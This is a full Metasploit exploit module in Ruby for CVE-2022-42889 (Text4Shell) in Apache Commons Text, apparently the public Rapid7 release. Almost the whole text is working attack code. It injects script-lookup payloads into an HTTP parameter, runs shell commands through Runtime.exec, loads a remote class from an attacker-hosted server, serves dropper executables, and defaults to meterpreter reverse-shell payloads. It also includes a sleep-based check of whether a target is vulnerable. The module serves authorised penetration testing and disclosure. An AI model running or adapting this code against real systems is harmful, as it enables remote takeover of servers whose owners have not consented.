Apache Commons Text 1.9 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Commons Text RCE',
        'Description' => %q{
          This exploit takes advantage of the StringSubstitutor interpolator class,
          which is included in the Commons Text library. A default interpolator
          allows for string lookups that can lead to Remote Code Execution. This
          is due to a logic flaw that makes the “script”, “dns” and “url” lookup
          keys interpolated by default, as opposed to what it should be, according
          to the documentation of the StringLookupFactory class. Those keys allow
          an attacker to execute arbitrary code via lookups primarily using the
          "script" key.

          In order to exploit the vulnerabilities, the following requirements must
          be met:

          Run a version of Apache Commons Text from version 1.5 to 1.9
          Use the StringSubstitutor interpolator
          Target should run JDK < 15
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alvaro Muñoz', # Original research
          'Karthik UJ', # PoC
          'Gaurav Jain', # Metasploit module
        ],
        'References' => [
          ['CVE', '2022-42889'],
          ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
          ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
        ],
        'Platform' => ['win', 'linux', 'unix', 'java'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2022-10-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The target URI', '/']),
      OptString.new('PARAM', [ true, 'The vulnerable parameter']),
      OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
    ])
  end

  def check
    vprint_status("Checking if #{peer} can be exploited.")
    res = send_exp
    return CheckCode::Unknown('No response received from target.') unless res

    # blind command injection using sleep command
    sleep_time = rand(4..8)
    vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    _res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
    end
    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested command injection.')
  end

  def exploit
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_cmd, :unix_cmd
      execute_command(payload.encoded)
    when :windows_dropper, :linux_dropper
      execute_cmdstager
    end
  end

  def trigger_urlclassloader
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new

    exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
    exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
    exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"

    res = send_exp(exp)

    fail_with(Failure::Unreachable, 'No response received from the target') unless res
    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
  end

  def execute_command(cmd, _opts = {})
    vars = Rex::RandomIdentifier::Generator.new

    exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}"))];"
    exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"

    res = send_exp(exp)

    fail_with(Failure::Unreachable, 'No response received from the target') unless res
    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
  end

  def send_exp(exp = '')
    vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
    send_request_cgi(
      'method' => datastore['METHOD'],
      'uri' => normalize_uri(target_uri.path),

      vars => {
        datastore['PARAM'] => "${script:javascript:#{exp}}"
      }
    )
  end

  def win_target?
    target['Platform'] == 'win'
  end

  def on_request_uri(cli, request)
    case target['Type']
    when :java
      # Call method to handle java payload staging
      super(cli, request)
    else
      # Handle win/unix cmd staging
      client = cli.peerhost
      print_status("Client #{client} requested #{request.uri}")
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    end
  end
end